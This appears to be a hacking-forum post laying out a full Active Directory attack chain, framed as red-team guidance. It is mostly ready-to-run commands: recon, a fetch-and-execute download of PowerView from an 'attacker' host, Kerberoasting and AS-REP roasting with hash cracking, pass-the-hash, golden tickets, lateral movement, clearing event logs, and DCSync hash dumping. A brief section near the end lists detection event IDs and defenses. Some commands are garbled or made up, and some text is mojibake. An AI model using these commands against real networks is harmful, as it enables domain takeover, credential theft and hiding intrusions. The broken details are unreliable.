> Posted by: domain_hunter | Rank: Legend | Joined: 2021 [/I]
This guide is for authorized red team engagements. Unauthorized access is illegal.
Active Directory is the crown jewel of most enterprise networks.
One compromised machine can lead to domain dominance if you know the attack paths. Let me show you the modern AD attack chain.
---
βββ AD RECON: Your First Move βββ[/B]
Enumerate BEFORE you exploit.
Code:
# === PowerShell One-Liners (run from compromised host) ===
# Basic domain info
Get-NetDomain
Get-NetDomainController
# All users
Get-NetUser -AdminCount
Get-NetUser | Select samaccountname,description,pwdlastset,lastlogon
# All computers
Get-NetComputer -OperationalStatus
Get-NetComputer | Select name,lastlogon,pwdlastset
# Groups & members
Get-NetGroup -FullInfo
Get-NetGroup "Domain Admins" -Members
Get-NetGroup "Enterprise Admins" -Members
# OU structure
Get-NetOU
Get-NetGPO -FullInfo
# ACLs (Access Control Lists)
Get-ObjectAcl -SamAccountName target_user
Get-ObjectAcl -Identity "Domain Admins"
PowerView - The Swiss Army Knife:
Code:
# Download & load
IEX (New-Object Net.WebClient).DownloadString("http://attacker/PowerView.ps1")
# Useful commands
Get-Domain
Get-DomainUser
Get-DomainComputer
Get-DomainGroup
Get-DomainOU
Get-DomainGPO
Get-DomainPolicy
# Find vulnerable groups
Find-DomainObjectOwner -Identity "Domain Admins"
# Find unconstrained delegation
Get-NetComputer -UnConstrained
# Find constrained delegation
Get-NetUser -TrustedToAuth
# Enumerate all trusts
Get-DomainTrust
Get-DomainTrust -Verbose
---
βββ CREDENTIAL ATTACKS βββ
1. Kerberoasting (TGS Request Attack):
Code:
# Request TGS tickets for service accounts
.\Rubeus.exe kerberoast /outfile:_hashes.txt
# Crack with hashcat
hashcat -m 13100 hashes.txt rockyou.txt
# Alternative: Impacket
python3 impacket-kerberoast requested/TGS.py domain.com/user:password -dc-ip DC_IP
2. AS-REP Roasting (Pre-Auth Disabled):
Code:
# Find users with pre-auth disabled
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
# Crack
hashcat -m 18200 asrep_hashes.txt rockyou.txt
# Impacket alternative
python3 impacket-GetNPUsers.py domain.com/ -request -format hashcat
3. Pass-the-Hash:
Code:
# Using CrackMapExec
crackmapexec smb 10.10.10.0/24 -u username -H ntml_hash --local-auth
# Using Impacket psexec
python3 psexec.py domain.com/user@target -hashes :ntlm_hash
# Using Evil-WinRM
evil-winrm -i target -u username -H ntml_hash
4. Pass-the-Ticket (Golden/Silver Ticket):
Code:
# Golden Ticket (requires KRBTGT hash)
.\Rubeus.exe golden /user:attacker /domain:domain.com /sid:S-1-5-21-... /krbtgt:hash /ptt
# Silver Ticket (targets specific service)
.\Rubeus.exe silver /user:attacker /service:cifs/target.domain.com /domain:domain.com /sid:S-1-5-21-... /rc4:hash /ptt
---
βββ LATERAL MOVEMENT βββ
Move laterally to find the Domain Controller:
Code:
# CrackMapExec for lateral movement
crackmapexec smb 10.10.10.0/24 -u username -p password --shares
crackmapexec smb 10.10.10.0/24 -u username -p password --sam
crackmapexec smb 10.10.10.0/24 -u username -p password --lsadump
# Impacket suite
python3 psexec.py domain.com/user:password@target
python3 wmiexec.py domain.com/user:password@target
python3 atexec.py domain.com/user:password@target "whoami"
python3 smbexec.py domain.com/user:password@target
# WinRM for remote execution
crackmapexec winrm 10.10.10.0/24 -u username -p password
impacket-wmiexec domain.com/user:password@target
---
βββ DEFENSE EVASION βββ
Stay invisible in AD:
Code:
# Disable logging (DANGEROUS - for authorized testing only)
# Note: Many of these require admin rights
# Modify security policy
secedit /export /cfg c:\temp\secpol.cfg
# Edit to disable auditing, then import back
# Clear event logs (requires admin)
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
# Disable PowerShell scripting logs
# Edit registry or use GPO
# Use Living Off the Land Binaries (LOLBins)
# PsExec, WMI, WinRM instead of custom tools
LOLBins Reference:
Code:
βββββββββββββββββββ¬βββββββββββββββββββββββββββββββββββββββ
β Tool β Usage β
βββββββββββββββββββΌβββββββββββββββββββββββββββββββββββββββ€
β PsExec β Remote execution β
β WMIC β Process creation, info gathering β
β WinRM β Remote management β
β schtasks β Scheduled task execution β
β msiexec β Run MSI packages (can execute code) β
β certutil β Download files, encode/decode β
β powershell β Everything β
β cscript/wscript β VBScript execution β
β rundll32 β Execute DLL functions β
β regsvr32 β Execute COM scripts β
βββββββββββββββββββ΄βββββββββββββββββββββββββββββββββββββββ
---
βββ PRIVILEGE ESCALATION TO DA βββ
Path 1: DCSync Attack (The Fastest Way):
Code:
# If you have Domain Admin or equivalent:
python3 impacket-secretsdump.py -just-dc domain.com/admin:password@DC_IP
# Or with hashes:
python3 impacket-secretsdump.py -just-dc -hashes :ntml_hash domain.com/admin@DC_IP
# This extracts ALL domain hashes including KRBTGT
# Then create Golden Ticket
Path 2: Group Policy Preferences:
Code:
# Check for GPP with stored passwords
Get-GPOReport -All | Select-String -Pattern "cpassword"
# If found, decrypt the password
# mitchellkrog.com has a decoder
# Or use PowerShell:
Import-Module .\GPOTools.psd1
Get-GPPPassword
Path 3: ABAC/ACE Abuse:
Code:
# Find objects with writable ACLs
Get-ObjectAcl -SamAccountName "Domain Admins" -Resolve | Where-Object { $_.ActiveDirectoryRights -like "*Write*" }
# Common exploitable permissions:
β’ GenericAll - Full control
β’ GenericWrite - Write attributes
β’ WriteDacl - Modify ACLs
β’ WriteOwner - Change ownership
β’ Self - Self-replicating (Exchange)
---
βββ AUTOMATED ATTACK FRAMEWORKS βββ
CrackMapExec - The Swiss Army Knife:
Code:
# Installation
git clone https://github.com/byt3bl33d3r/CrackMapExec
cd CrackMapExec && pip3 install .
# Common commands
cme smb 10.10.10.0/24 -u username -p password
cme smb 10.10.10.0/24 -u username -p password --shares
cme smb 10.10.10.0/24 -u username -p password --local-auth
cme smb 10.10.10.0/24 -u username -H ntml_hash --local-auth
cme smb 10.10.10.0/24 -u username -p password --sam
cme smb 10.10.10.0/24 -u username -p password --lsadump
cme smb 10.10.10.0/24 -u username -p password --ntds
cme smb 10.10.10.0/24 -u username -p password --psexec "whoami"
cme smb 10.10.10.0/24 -u username -p password --ps "powershell encoded"
cme smb 10.10.10.0/24 -u username -p password --exec-method smbexec
cme smb 10.10.10.0/24 -u username -p password --kdc 10.10.10.5
# Windows Management
cme winrm 10.10.10.0/24 -u username -p password
cme winrm 10.10.10.0/24 -u username -H ntml_hash
cme rdpscript 10.10.10.0/24 -u username -p password
BloodHound - Attack Path Visualization:
Code:
# Install BloodHound
# Collector: SharpHound (Windows) or BloodHound.py (Linux)
# Collect data
.\SharpHound.exe -c All --domain domain.com
# Upload to BloodHound web interface
# Analyze attack paths
# Common query targets:
β’ζηθ·―εΎ to Domain Admin
β’ Group membership chains
β’ ACL abuse paths
β’ GPO abuse opportunities
β’ Trust relationship exploitation
---
βββ DEFENSE: Detecting AD Attacks βββ
Key Event IDs to Monitor:
Code:
ββββββββββββββ¬βββββββββββββββββββββββββββββββββββββββββββ
β Event ID β What It Means β
ββββββββββββββΌβββββββββββββββββββββββββββββββββββββββββββ€
β 4624 β Successful logon β
β 4625 β Failed logon (brute force indicator) β
β 4672 β Privileged logon (admin) β
β 4720 β User account created β
β 4722 β User account enabled β
β 4724 β Password reset β
β 4728 β Added to security group β
β 4732 β Added to admin group β
β 4756 β Added to distribution group β
β 4768 β TGT requested (Kerberos) β
β 4769 β TGS requested (Kerberos) β
β 4776 β NTLM auth attempted β
β 4662 β Object access (detailed) β
β 4663 β Object access (file/dir) β
β 4670 β Permissions changed β
β 4703 β User token created β
β 4725 β User account disabled β
β 4726 β User account deleted β
β 5136 β Directory service changed β
β 5137 β Directory service object created β
β 5140 β Network share accessed β
β 5145 β Network share object accessed β
ββββββββββββββ΄βββββββββββββββββββββββββββββββββββββββββββ
Recommended Defenses:
Code:
1. Enable Advanced Audit Policies
- Audit Logon Events (Success/Failure)
- Audit Account Management
- Audit Directory Service Access
2. Implement Privileged Access Workstations (PAWs)
- Admins log in from separate, hardened machines
- No internet browsing on PAWs
3. Disable unnecessary protocols
- SMBv1, NTLMv1
- Enable SMB signing
4. Monitor for unusual patterns
- Multiple failed logons
- Logons from unusual locations
- Privileged logons at unusual times
- RDP from non-admin workstations
5. Use credential guard
-LSA protection
- Credential Guard (virtually isolates credentials)
6. Regular password changes for service accounts
- Use GMSA (Group Managed Service Accounts)
- Rotate Kerberos keys
---
βββ TL;DR βββ
Code:
β
Always recon first (PowerView, BloodHound)
β
Kerberoasting is your friend (service account hashes)
β
AS-REP Roasting catches lazy admins
β
Pass-the-Hash > Pass-the-Password
β
DCSync gets you ALL hashes instantly
β
LOLBins keep you under the radar
β
Automate with CrackMapExec
β
Document everything for the report
---
What's your favorite AD attack? Drop it below.
Next: Cloud AD attacks (Azure AD/Entra ID).
Last edited by domain_hunter; 10 minutes ago.
[SIG]ββββββββββββββββββββββββββββββββββββββββ
domain_hunter | Legend | AD Security Specialist
ββββββββββββββββββββββββββββββββββββββββ[/SIG][/b][/b][/b][/b][/b][/b][/b]